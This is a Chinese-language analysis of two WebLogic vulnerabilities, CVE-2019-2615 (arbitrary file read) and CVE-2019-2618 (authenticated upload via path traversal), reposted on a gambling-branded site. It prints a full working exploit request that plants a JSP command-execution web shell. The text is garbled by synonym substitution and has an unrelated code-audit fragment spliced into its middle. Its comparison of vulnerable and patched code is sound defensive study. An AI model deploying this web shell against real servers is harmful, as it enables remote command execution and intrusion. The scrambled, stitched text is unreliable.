Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

申博_安全防护 申博 179次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

0x00 配景

4月17号,Oracle宣布2019年4月的重要补钉更新通知布告,个中披露了Weblogic的多个破绽。个中CVE-2019-2615和CVE-2019-2618的评分对照低,一个4.9,一个5.5。由于这两个破绽都须要用户名暗码的认证才可应用,一切有些鸡肋。想看下官方的修复步伐,故简朴剖析一下这两个破绽。

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

0x01 破绽情况

当地搭建测试情况,测试情况为:Weblogic 10.3.6.0、Windows Sercer 2008 x64、Java 1.7.0_80。

Weblogic的装置包和装置设置装备摆设要领拜见之前的文章Weblogic XMLDecoder 长途代码实行破绽剖析(CVE-2017-10271),内里有下载连链接。

也可以用p牛的vulhub,用docker搭建,也很轻易。

长途调试的话参考这篇文章:运用 Idea 长途断点调试 Weblogic 服务器的操纵步调。weblogic的startWeblogic.cmd加上一句设置装备摆设,启动weblogic。当地的IDEA新建个web项目,导入weblogic.jar包,设置装备摆设下长途调试。

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

然后在响应地位打断点,debug运转,就可以进入断点,看到挪用的客栈信息。

0x02 破绽剖析(CVE-2019-2615)

<1> 破绽复现

该破绽是恣意文件读取破绽,这个破绽接口是文件下载相干功用运用的接口,也是weblogic server中内部运用的一般功用,以是该破绽须要weblogic的用户名暗码,以是也是个鸡肋的破绽。

组织数据包,能读取体系恣意文件。(该破绽POC网上临时未宣布,故截图做打码处置惩罚)。不外看下面的破绽剖析,也很轻易组织出来。

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

<2> 破绽剖析

该功用的症结代码在 weblogic.management.servlet.FileDistributionServlet的doGet()要领中:

public void doGet(final HttpServletRequest var1, final HttpServletResponse var2) throws ServletException, IOException {
    AuthenticatedSubject var3 = this.authenticateRequest(var1, var2);
    if(var3 != null) {
        final String var4 = var1.getHeader("wl_request_type");
        if(var3 != KERNEL_ID) {
            AdminResource var5 = new AdminResource("FileDownload", (String)null, var4);
            if(!this.am.isAccessAllowed(var3, var5, (ContextHandler)null)) {
                ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(var3.getName(), var4);
                var2.sendError(401);
                return;
            }
        }

        try {
            if(debugLogger.isDebugEnabled()) {
                debugLogger.debug("---- >doGet incoming request: " + var4);
            }

            if(var4.equals("wl_xml_entity_request")) {
                this.doGetXMLEntityRequest(var1, var2);
            } else if(var4.equals("wl_jsp_refresh_request")) {
                this.doGetJspRefreshRequest(var1, var2);
            } else if(var4.equals("file")) {
                this.doGetFile(var1, var2);
            } else if(!var4.equals("wl_init_replica_request") && !var4.equals("wl_file_realm_request") && !var4.equals("wl_managed_server_independence_request")) {
                var2.addHeader("ErrorMsg", "Bad request type");
                String var10 = Utils.encodeXSS(var4);
                var2.sendError(400, "Bad request type: " + var10);
                ManagementLogger.logBadRequestInFileDistributionServlet(var4);
            } else {
                ......
                ......
                }
            }
        } catch (Exception var9) {
            if(!Kernel.isInitialized()) {
                throw new AssertionError("kernel not initialized");
            }

            ManagementLogger.logErrorInFileDistributionServlet(var4, var9);
        }

    }
}

代码也对照简朴,先取request中header的参数”wl_request_type”的值,然后推断若是该值即是“wl_xml_entity_request”、“wl_jsp_refresh_request”、“file”……则离别挪用各自的要领,进入下一步推断。我们看一下若是wl_request_type的值为“wl_jsp_refresh_request”,进入doGetJspRefreshRequest()要领。我们跟入doGetJspRefreshRequest()要领:

private void doGetJspRefreshRequest(HttpServletRequest var1, HttpServletResponse var2) throws IOException {
     String var3 = var1.getHeader("adminPath");

     try {
         FileInputStream var4 = new FileInputStream(var3);

         try {
             var2.setContentType("text/plain");
             var2.setStatus(200);
             this.returnInputStream(var4, var2.getOutputStream());
         } finally {
             var4.close();
         }

     } catch (IOException var10) {
         String var5 = "I/O Exception getting resource: " + var10.getMessage();
         var2.addHeader("ErrorMsg", var5);
         var2.sendError(500, var5);
     }
 }

doGetJspRefreshRequest()要领中的“adminPath”也是request中的header参数,我们在Post包中传入要读取的文件。进入该要领中,直接运用FileInputStream类举行文件读取,故造成了所谓的“恣意文件读取”破绽。

debug时的挪用栈以下:

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

看下官方的补钉包是怎样修复的:

某电影cms审计处体验

最近在secquan看到皮师傅写的代码审计,觉得还阔以,下载源码下来看看,审计了一下午,也发现了几个辣鸡漏洞,写下文章,记录下第一次代码审计。 文件读取(鸡肋) like.php 位置:data/like.php 关键代码 $fang=$_GET[‘play’];
$jmfang=base64_decode($fang);
$like=file_get_contents($jmfang);
$likezz=”/

public void doGet(HttpServletRequest arg1, HttpServletResponse arg2)
    throws ServletException, IOException
  {
    ......
    ......
    try
    {
      HttpServletResponse res;
      HttpServletRequest req;
      if (debugLogger.isDebugEnabled()) {
        debugLogger.debug("---- >doGet top of method: incoming request: " + req.getHeader("wl_request_type"));
      }
      AuthenticatedSubject user = authenticateRequest(req, res);
      if (user == null) {
        return;
      }
      String requestType = req.getHeader("wl_request_type");
      ......
      ......
      try
      {
        if (debugLogger.isDebugEnabled()) {
          debugLogger.debug("---- >doGet incoming request: " + requestType);
        }
        if (requestType.equals("wl_xml_entity_request"))
        {
          if (user != KERNEL_ID)
          {
            ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(user.getName(), requestType);
            res.sendError(401);
            return;
          }
          doGetXMLEntityRequest(req, res);
        }
        else if ((requestType.equals("wl_init_replica_request")) || (requestType.equals("wl_file_realm_request")) || (requestType.equals("wl_managed_server_independence_request")))
        {
          try
          {
            final String authRequestType = requestType;
            final HttpServletRequest authReq = req;
            final HttpServletResponse authRes = res;
            SecurityServiceManager.runAs(KERNEL_ID, user, new PrivilegedExceptionAction()
            {
              public Object run()
                throws IOException
              {
                if (authRequestType.equals("wl_init_replica_request")) {
                  FileDistributionServlet.this.doGetInitReplicaRequest(authReq, authRes);
                } else if (authRequestType.equals("wl_file_realm_request")) {
                  FileDistributionServlet.this.doGetFileRealmRequest(authRes);
                } else if (authRequestType.equals("wl_managed_server_independence_request")) {
                  FileDistributionServlet.this.doGetMSIRequest(authReq, authRes);
                }
                return null;
              }
            });
          }
          catch (PrivilegedActionException pae)
          {
            Exception e = pae.getException();
            throw e;
          }
        }
        else
        {
          res.addHeader("ErrorMsg", "Bad request type");
          String htmlEncodedRequestType = Utils.encodeXSS(requestType);
          res.sendError(400, "Bad request type: " + htmlEncodedRequestType);

          ManagementLogger.logBadRequestInFileDistributionServlet(requestType);
        }
      }
      catch (Exception e)
      {
        if (Kernel.isInitialized()) {
          ManagementLogger.logErrorInFileDistributionServlet(requestType, e);
        } else {
          throw new AssertionError("kernel not initialized");
        }
      }
      return;
    }
    finally
    {
      if (bool) {
        ......
        ......
      }
    }
  }

跟之前的代码举行对照,补钉代码直接删除requestType的“wl_jsp_refresh_request”参数的推断,同时也删除doGetJspRefreshRequest()要领。

以是依据补钉代码,若是我们要求中的wl_request_type为wl_jsp_refresh_request,则直接返回400毛病,并提醒“Bad request type”。

在打了19年4月的补钉今后:

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

发送该POC,该破绽已无法应用,返回效果以下图所示:

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

0x03 破绽剖析(CVE-2019-2618)

<1> 破绽复现

该破绽是个文件上传破绽,一样须要weblogic的用户名和暗码,以是也对照鸡肋。并且weblogic的DeploymentService接口的一般功用正本就可以布置war包,以是emmm……高兴就好。

该破绽的POC以下,发送POST包,便可上传shell(注重POST包中的username和password,要填入weblogic的用户名和暗码)。

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.119.130:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: weblogic
password: yourpassword
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1081

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML> 

------WebKitFormBoundary7MA4YWxkTrZu0gW--

shell以下图所示:

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

<2> 破绽剖析

太菜了,跟了良久的代码,才找到症结代码。症结代码在weblogic.deploy.service.internal.transport.http.DeploymentServiceServlet的handlePlanOrApplicationUpload()要领。debug检察挪用栈以下:

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

挪用栈照样对照简朴,就一个一般的上传功用,重要看DeploymentServiceServlet类的handlePlanOrApplicationUpload()要领:

private final void handlePlanOrApplicationUpload(HttpServletRequest var1, HttpServletResponse var2, AuthenticatedSubject var3) throws IOException {
    String var4 = mimeDecode(var1.getHeader("wl_upload_application_name"));
    String var5 = ApplicationVersionUtils.getApplicationName(var4);
    String var6 = ApplicationVersionUtils.getVersionId(var4);
    String var7 = mimeDecode(var1.getHeader("wl_request_type"));
    if(var5 == null) {
        Loggable var24 = DeploymentServiceLogger.logRequestWithNoAppNameLoggable(var7);
        logAndSendError(var2, 403, var24);
    } else {
        String var8 = var1.getContentType();
        if(var8 != null && var8.startsWith("multipart")) {

            boolean var25 = false;
            String var10 = var1.getHeader("wl_upload_delta");
            if(var10 != null && var10.equalsIgnoreCase("true")) {
                var25 = true;
            }

            boolean var11 = var7.equals("plan_upload");
            boolean var12 = "false".equals(var1.getHeader("archive"));
            if(this.isDebugEnabled()) {
                this.debug(var7 + " request for application " + var5 + " with archive: " + var12);
            }

            String var13 = null;
            if(var6 == null || var6.length() == 0) {
                var13 = this.getUploadDirName(var5, var6, var25, var11, var12);
            }

            if(var13 == null) {
                var13 = this.getDefaultUploadDirName();
                if(var13 == null) {
                    Loggable var26 = DeploymentServiceLogger.logNoUploadDirectoryLoggable(var7, var5);
                    logAndSendError(var2, 500, var26);
                    return;
                }

                var13 = var13 + var5 + File.separator;
                if(var6 != null) {
                    var13 = var13 + var6 + File.separator;
                }
            }

           if(this.isDebugEnabled()) {
                this.debug(" +++ Final uploadingDirName : " + var13);
            }

            boolean var14 = true;
            String var15 = null;
            ......
            ......

        } else {
            Loggable var9 = DeploymentServiceLogger.logBadContentTypeServletRequestLoggable(var7, var8);
            logAndSendError(var2, 400, var9);
        }
    }
}

该要领主如果对POST包中的传入的headers举行处置惩罚,重要作用包罗:猎取要求包中的“wl_upload_application_name”参数,然后推断是不是为空;推断“content-type”;组织上传途径等。

Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析

下了补钉包,看下官方是咋修复的。做了下对照,

private final void handlePlanOrApplicationUpload(HttpServletRequest req, HttpServletResponse res, AuthenticatedSubject user)
    throws IOException
  {
    String applicationId = mimeDecode(req.getHeader("wl_upload_application_name"));
    String requestType = mimeDecode(req.getHeader("wl_request_type"));
    if ((applicationId != null) && ((applicationId.contains("../")) || (applicationId.contains("/..")) || (applicationId.contains("\\..")) || (applicationId.contains("..\\"))))
    {
      Loggable l = DeploymentServiceLogger.logRequestWithInvalidAppNameLoggable(requestType, applicationId);
      logAndSendError(res, 403, l);
      return;
    }
    String applicationName = ApplicationVersionUtils.getApplicationName(applicationId);

    String versionId = ApplicationVersionUtils.getVersionId(applicationId);
    if (applicationName == null)
    {
      Loggable l = DeploymentServiceLogger.logRequestWithNoAppNameLoggable(requestType);

      logAndSendError(res, 403, l);
      return;
    }
    String contentType = req.getContentType();
    if ((contentType == null) || (!contentType.startsWith("multipart")))
    {
      Loggable l = DeploymentServiceLogger.logBadContentTypeServletRequestLoggable(requestType, contentType);

      logAndSendError(res, 400, l);
      return;
    }
    ......
    ......
}

修复的症结代码以下:

String applicationId = mimeDecode(req.getHeader("wl_upload_application_name"));
String requestType = mimeDecode(req.getHeader("wl_request_type"));
if ((applicationId != null) && ((applicationId.contains("../")) || (applicationId.contains("/..")) || (applicationId.contains("\\..")) || (applicationId.contains("..\\"))))
{
   Loggable l = DeploymentServiceLogger.logRequestWithInvalidAppNameLoggable(requestType, applicationId);
   logAndSendError(res, 403, l);
   return;
}

很清楚明了也很粗犷,对“wl_upload_application_name”做了严厉的限定:若是wl_upload_application_name参数不为空、或包罗“../”、”/..”等标记,就返回毛病。

在打了19年4月的补钉今后,发送该POC,破绽已无法应用,提醒application name是无效的:“Deployment service servlet recevied a request of type‘app_upload’ with an invalid application name:‘/../tmp/_WL_internal/bea_wls_internal/9j4dqk/war’”


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Weblogic恣意文件读取破绽(CVE-2019-2615))and 文件上传破绽(CVE-2019-2618)破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址